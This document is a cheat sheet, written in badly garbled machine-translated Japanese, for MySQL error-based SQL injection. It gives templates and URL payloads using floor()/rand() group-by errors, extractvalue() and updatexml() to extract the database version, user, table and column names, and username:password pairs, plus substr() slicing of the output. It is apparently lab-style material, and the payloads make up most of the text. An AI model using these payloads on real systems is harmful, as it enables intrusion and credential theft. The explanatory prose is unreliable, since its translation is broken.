0x00_エラー注入原理
構成エラーペイロードその情報は、情報バックを与えられることによってマニフェストを行わせます。エラーメッセージを約束します今のクエリは、コンテンツを返しません。UPDATE、INSERT、および他の文は、それはエラーメッセージを出力します。
0x01_所定の噴射動作
床()エラー注入
MySQLのテンプレート:
連結ファンクション接続文字列の
床:整数値
ランドは:ランダムフロートの間の値をとる1〜0。
グループが結果セットの1つ以上の列に応じてそこに機能をグループ化と並べ替え
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
理由:()関数によってグループが動作ランド中にエラーを発生させる
噴射デモンストレーション:
/?id=1' and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))--+
/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select user()),0x7e,floor(rand(0)*2)))--+
ルックアップテーブル
/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+
テーブル情報
/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+
/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+
EXTRACTVALUE()エラー注入
テンプレート:
extractvalue(1,concat(0x7e,(select user()),0x7e));
理由:エラーが発生したXPath構文エラー
/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e),1)--+
UPDATEXML()エラー注入
テンプレート:
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
理由:XPATH構文エラーが生成されたエラー
注入デモ:
/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1),0x7e),1)--+
/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+
0x02_切片データ
のsubstr()
/?id=1' and updatexml(1,concat(0x7e,(select substr(concat(username,0x3a,password),1,1) from users limit 0,1),0x7e),1)--+